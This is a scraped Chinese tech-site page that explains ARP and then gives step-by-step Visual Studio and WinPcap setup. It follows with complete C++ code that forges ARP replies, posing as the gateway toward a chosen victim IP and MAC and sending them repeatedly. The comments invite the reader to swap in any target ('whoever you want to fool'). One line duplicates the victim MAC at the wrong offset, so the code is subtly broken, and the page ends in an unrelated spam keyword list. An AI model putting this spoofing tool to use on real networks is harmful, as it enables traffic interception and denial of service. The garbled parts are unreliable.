千家信息网

发送ARP数据包

发表于:2026-10-31 作者:千家信息网编辑
千家信息网最后更新 2026年10月31日,发送ARP数据包ARP 地址解析协议,即ARP(Address Resolution Protocol),是根据IP地址获取物理地址的一个TCP/IP协议。主机发 送信息时将包含目标IP地址的ARP请
千家信息网最后更新 2026年10月31日发送ARP数据包

发送ARP数据包

ARP 地址解析协议,即ARP(Address Resolution Protocol),是根据IP地址获取物理地址的一个TCP/IP协议。主机发 送信息时将包含目标IP地址的ARP请求广播到网络上的所有主机,并接收返回消息,以此确定目标的物理地址;收到返回消息后将该IP地址和物理地址存入本 机ARP缓存中并保留一定时间,下次请求时直接查询ARP缓存以节约资源。地址解析协议是建立在网络中各个主机互相信任的基础上的,网络上的主机可以自主 发送ARP应答消息,其他主机收到应答报文时不会检测该报文的真实性就会将其记入本机ARP缓存;由此***者就可以向某一主机发送伪ARP应答报文,使其 发送的信息无法到达预期的主机或到达错误的主机,这就构成了一个ARP欺骗。ARP命令可用于查询本机ARP缓存中IP地址和MAC地址的对应关系、添加或删除静态对应关系等。相关协议有RARP、代理ARP。NDP用于在IPv6中代替地址解析协议。


第一步:运行vs2010,并对项目配置修改。

项目-->**属性(alt+F7)
配置属性-->清单工具-->输入和输出-->嵌入清单-->否


项目-->**属性(alt+F7)
配置属性-->C/C++-->常规-->附加包含目录-->

项目-->**属性(alt+F7)
配置属性-->链接器-->常规-->附加库目录-->

项目-->**属性(alt+F7)
配置属性-->链接器-->输入-->附加依赖项-->补充";Packet.lib;wpcap.lib;Ws2_32.lib;"

项目-->**属性(alt+F7)
配置属性-->C/C++-->预处理器-->预处理器定义-->补充";HAVE_REMOTE"

第二部:复制arp代码进行运行

// WinpCap Test.cpp : 定义控制台应用程序的入口点。
//
#include "stdafx.h"
#include

int _tmain(int argc, _TCHAR* argv[])
{
pcap_if_t * allAdapters;//适配器列表
pcap_if_t * adapter;
pcap_t * adapterHandle;//适配器句柄
u_char packet[ 1020 ]; //待发送的数据封包
char errorBuffer[ PCAP_ERRBUF_SIZE ];//错误信息缓冲区

if( pcap_findalldevs_ex( PCAP_SRC_IF_STRING, NULL, &allAdapters, errorBuffer ) == -1 )
{//检索机器连接的所有网络适配器
fprintf( stderr, "Error in pcap_findalldevs_ex function: %s\n", errorBuffer );
return -1;
}

if( allAdapters == NULL )
{//不存在任何适配器
printf( "\nNo adapters found! Make sure WinPcap is installed.\n" );
return 0;
}

int crtAdapter = 0;

for( adapter = allAdapters; adapter != NULL; adapter = adapter->next)
{//遍历输入适配器信息(名称和描述信息)
printf( "\n%d.%s ", ++crtAdapter, adapter->name );
printf( "-- %s\n", adapter->description );
}
printf( "\n" );

//选择适配器
int adapterNumber;
printf( "Enter the adapter number between 1 and %d:", crtAdapter );
scanf_s( "%d", &adapterNumber );

if( adapterNumber < 1 || adapterNumber > crtAdapter )
{
printf( "\nAdapter number out of range.\n" );
pcap_freealldevs( allAdapters );// 释放适配器列表
return -1;
}

adapter = allAdapters;
for( crtAdapter = 0; crtAdapter < adapterNumber - 1; crtAdapter++ )
adapter = adapter->next;

// 打开指定适配器
adapterHandle = pcap_open( adapter->name, // name of the adapter
65536, // portion of the packet to capture
// 65536 guarantees that the whole
// packet will be captured
PCAP_OPENFLAG_PROMISCUOUS, // promiscuous mode
1000, // read timeout - 1 millisecond
NULL, // authentication on the remote machine
errorBuffer // error buffer
);
if( adapterHandle == NULL )
{//指定适配器打开失败
fprintf( stderr, "\nUnable to open the adapter\n", adapter->name );
// 释放适配器列表
pcap_freealldevs( allAdapters );
return -1;
}

pcap_freealldevs( allAdapters );//释放适配器列表 c8-9c-dc-22-61-fa

//创建数据封包
packet[0] = 0xc8; packet[1] = 0x9c; packet[2] = 0xdc; packet[3] = 0x22; packet[4] = 0x61; packet[5] = 0xfa; // 被骗计算机的mac地址
packet[6] = 0xc8; packet[7] = 0x9c; packet[8] = 0xdc; packet[9] = 0x22; packet[10] = 0x6c; packet[11] = 0x14; // 自己的mac地址C8-9C-DC-22-6C-14
packet[12] = 0x08; packet[13] = 0x06; // 以太网封装arp协议(不用动)
packet[14] = 0x00; packet[15] = 0x01; // arp第1字段:代表以太网
packet[16] = 0x08; packet[17] = 0x00; // arp第2字段:代表IP协议
packet[18] = 0x06; // arp第3字段:代表第二层地址的长度
packet[19] = 0x04; // arp第4字段:代表第三层地址的长度
packet[20] = 0x00; packet[21] = 0x02; // arp第5字段:这是一个arp应答报文; 下面的是arp的第6,7,8,9字段
packet[22] = 0xc8; packet[23] = 0x9c; packet[24] = 0xdc; packet[25] = 0x22; packet[26] = 0x62; packet[27] = 0x09; // 假的网关地址,
packet[28] = 0xac; packet[29] = 0x1c; packet[30] = 0x0f; packet[31] = 0xfe; // 网关的ip,这里是172.28.15.254(在本实验室不用改)
packet[0] = 0xc8; packet[1] = 0x9c; packet[2] = 0xdc; packet[3] = 0x22; packet[4] = 0x61; packet[5] = 0xfa; // 被骗计算机的mac地址
packet[38] = 0xac; packet[39] = 0x1c; packet[40] = 0x0f; packet[41] = 0x37; // 被骗计算机的IP地址,这里是172.28.15.55 (想骗谁,这里就改成谁的IP)


//发送数据封包
for(int ssde=0;ssde<100;ssde++)
{
pcap_sendpacket( adapterHandle, packet, 42);
Sleep(1000);
}

system( "PAUSE" );
return 0;
}

第三部:查看被骗电脑验证。


地址 适配器 适配 属性 主机 字段 项目 配置 数据 代表 信息 报文 缓存 网络 消息 物理 计算机 封包 输入 附加 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 瑰夏咖啡 广州万易互联网科技有限公司 互联网科技工作委员会主任 工业互联网科技新基建 互联网科技卖菜 金融科技创新监管互联网金融 易互联网科技有限公司 顺玮阁互联网科技 长亮科技 互联网金融 互联网巨头投资的硬核科技 互联网实体化科技化 现代科技和互联网有关系吗 语蝶互联网科技有限公司 米聚互联网科技南京有限公司排面 翼展科技 首家互联网医院 玉溪新华互联网科技好不好 烟台灵鸽互联网科技有限公司 中科明德北京互联网科技 扫呗互联网科技有限公司 全球科技与互联网公司市值变化 与互联网科技公司 互联网未来科技 互联网科技公司官网 互联网金融监管科技 深圳互联网科技怎么样 深圳市运趣互联网科技有限公司 深圳市罗太互联网科技有限公司 广州梦谷互联网科技有限公司领导 珠海东科互联网科技有限公司 广东猫王互联网科技有限公司电话
0